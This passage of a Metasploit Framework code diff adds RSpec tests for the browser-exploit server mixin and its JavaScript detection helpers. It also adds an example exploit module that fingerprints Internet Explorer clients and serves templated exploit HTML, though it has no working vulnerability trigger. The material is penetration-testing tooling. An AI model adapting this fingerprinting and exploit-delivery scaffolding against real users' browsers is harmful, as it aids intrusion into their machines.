ivar_exploit_page = server.instance_variable_get(:@exploit_receiver_page)
module_resource = server.get_module_resource
module_resource.should match(ivar_exploit_page)
end
end
describe ".get_bad_requirements" do
it "should not contain any bad requirements" do
server.get_bad_requirements(expected_profile).should eq([])
end
it "should have identify :os_name as a requirement not met" do
fake_profile = {
"rMWwSAwBHLoESpHbEGbsv" => {
:os_name => expected_os_name
}}
server.instance_variable_set(:@requirements, {:os_name => /win/i})
baddies = server.get_bad_requirements(fake_profile)
baddies.should eq([:os_name])
end
end
describe ".init_profile" do
it "should initialize an empety profile for tag 'random'" do
server.init_profile(profile_name)
ivar_target_profile = server.instance_variable_get(:@target_profiles)
ivar_target_profile.should eq({profile_name=>{}})
end
end
describe ".get_profile" do
it "should return nil when a profile isn't found" do
server.init_profile(profile_name)
p = server.get_profile("non_existent_profile")
p.should be_nil
end
it "should return a profile if found" do
server.init_profile(profile_name)
p = server.get_profile(profile_name)
p.should eq({})
end
end
describe ".update_profile" do
it "should update my target profile's :os_name information" do
server.init_profile(profile_name)
profile = server.get_profile(profile_name)
server.update_profile(profile, :os_name, expected_os_name)
profile = server.get_profile(profile_name)
profile[:os_name].should eq(expected_os_name)
end
end
describe ".get_detection_html" do
it "should return the detection code that the client will get" do
html = server.get_detection_html(expected_user_agent)
html.should_not eq('')
end
end
describe ".on_request_exploit" do
it "should raise a NoMethodError if called" do
fake_cli = nil
fake_request = nil
fake_browser_info = nil
lambda {
server.on_request_exploit(fake_cli, fake_request, fake_browser_info)
}.should raise_error
end
end
describe ".get_target" do
it "should return a target" do
#
# Using Object for Msf::Module::Target
#
expected_object = Object
server.instance_variable_set(:@target, expected_object)
server.get_target.should eq(expected_object)
end
end
describe ".try_set_target" do
it "should try to set a target based on requirements" do
#
# This testcase needs to be better somehow, but not sure how to actually create
# a Msf::Module::Target. All we're able to test here is making sure the method
# doesn't raise anything by exercising the code.
#
server.instance_variable_set(:@requirements, {:os_name => /win/i})
server.instance_variable_set(:@target, Object)
server.try_set_target(expected_profile)
server.get_target.should eq(Object)
end
end
describe ".extract_requirements" do
it "should find all the recognizable keys" do
requirements = {:os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0"}
matches = server.extract_requirements(requirements)
matches.should eq(requirements)
end
it "should make sure the keys are always symbols" do
requirements = {'os_flavor'=>"XP", 'ua_name'=>"MSIE"}
matches = server.extract_requirements(requirements)
matches.each do |k,v|
k.class.should eq(Symbol)
end
end
end
end

View File

@ -5,16 +5,23 @@ describe Rex::Exploitation::Js::Detect do
context "Class methods" do context "Class methods" do
context ".os" do context ".os" do
it "should load the OS Detect javascript" do it "should load the OS detection in Javascript" do
js = Rex::Exploitation::Js::Detect.os.to_s js = Rex::Exploitation::Js::Detect.os.to_s
js.should =~ /window\.os_detect/ js.should =~ /window\.os_detect/
end end
end end
context ".addons" do context ".ie_addons" do
it "should load the Addons Detect javascript" do it "should load the IE Addons detection in Javascript" do
js = Rex::Exploitation::Js::Detect.addons.to_s js = Rex::Exploitation::Js::Detect.ie_addons.to_s
js.should =~ /window\.addons_detect/ js.should =~ /window\.ie_addons_detect/
end
end
context ".misc_addons" do
it "should load the misc Addons detection in Javascript" do
js = Rex::Exploitation::Js::Detect.misc_addons.to_s
js.should =~ /window\.misc_addons_detect/
end end
end end

View File

@ -11,6 +11,14 @@ describe Rex::Exploitation::Js::Network do
end end
end end
context ".ajax_post" do
it "should load the postInfo javascript" do
js = Rex::Exploitation::Js::Network.ajax_post
js.should =~ /function postInfo/
end
end
end end
end end

View File

@ -0,0 +1,149 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "IE Exploit for BrowserExploitServer Proof-of-Concept",
'Description' => %q{
Here's an example of building an exploit using the BrowserExploitServer.
This example requires the target to be exploit. If not, the mixin will
send a fake 404 as a way to avoid engaging the target. The example is
for Windows only.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
[ 'URL', 'http://metasploit.com' ]
],
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
#:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", # ShockwaveFlash.ShockwaveFlash.1
#:method => "LoadMovie",
:os_name => /win/i
},
'Targets' =>
[
[ 'Automatic', {} ],
[
'Windows XP with IE 8',
{
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '8.0',
'Rop' => true,
'Offset' => 0x100
}
],
[
'Windows 7 with IE 9',
{
'os_flavor' => '7',
'ua_name' => 'MSIE',
'ua_ver' => '9.0',
'Rop' => true,
'Offset' => 0x100
}
],
[
'Windows 7 with IE 10',
{
'os_flavor' => '7',
'ua_name' => 'MSIE',
'ua_ver' => '10.0',
'Rop' => true,
'Offset' => 0x100
}
]
],
'Payload' =>
{
'BadChars' => "\x00", #Our spray doesn't like null bytes
'StackAdjustment' => -3500
},
'Privileged' => false,
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
end
#
# This example shows how to use ERB and being able to use the arguments and local vars
#
def exploit_template1(target_info, txt)
txt2 = "I can use local vars!"
template = %Q|
<% msg = "This page is generated by an exploit" %>
<%=msg%><br>
<%=txt%><br>
<%=txt2%><br>
<p></p>
Data gathered from source: #{target_info[:source]}<br>
OS name: #{target_info[:os_name]}<br>
Flavor: #{target_info[:os_flavor]}<br>
UA name: #{target_info[:ua_name]}<br>
UA version: #{target_info[:ua_ver]}<br>
Java version: #{target_info[:java]}<br>
Office version: #{target_info[:office]}
|
return template, binding()
end
#
# This example shows how to generate an ERB template without passing binding
#
def exploit_template2(target_info)
%Q|
<% msg = "This page is generated by an exploit" %>
<%=msg%><br>
<p></p>
Data gathered from source: #{target_info[:source]}<br>
OS name: #{target_info[:os_name]}<br>
Flavor: #{target_info[:os_flavor]}<br>
UA name: #{target_info[:ua_name]}<br>
UA version: #{target_info[:ua_ver]}<br>
Java version: #{target_info[:java]}<br>
Office version: #{target_info[:office]}
|
end
def on_request_exploit(cli, request, target_info)
print_debug("Target selected: #{get_target.name}")
print_line(Rex::Text.to_hex_dump([rop_junk].pack("V*")))
print_line(Rex::Text.to_hex_dump([rop_nop].pack("V*")))
p = get_payload(cli, target_info)
vprint_line(Rex::Text.to_hex_dump(p))
print_status("Sending exploit HTML...")
# Randomly pick a template to test
if [true, false].sample
txt = "I can pass more args"
send_exploit_html(cli, exploit_template1(target_info, txt))
else
send_exploit_html(cli, exploit_template2(target_info))
end
end
def exploit
super
end
end
=begin
Example of raw target_info:
{:source=>"script", :os_name=>"Microsoft Windows", :os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0", :arch=>"x86", :office=>"null", :proxy=>false, :language=>"en-us", :tried=>true}
=end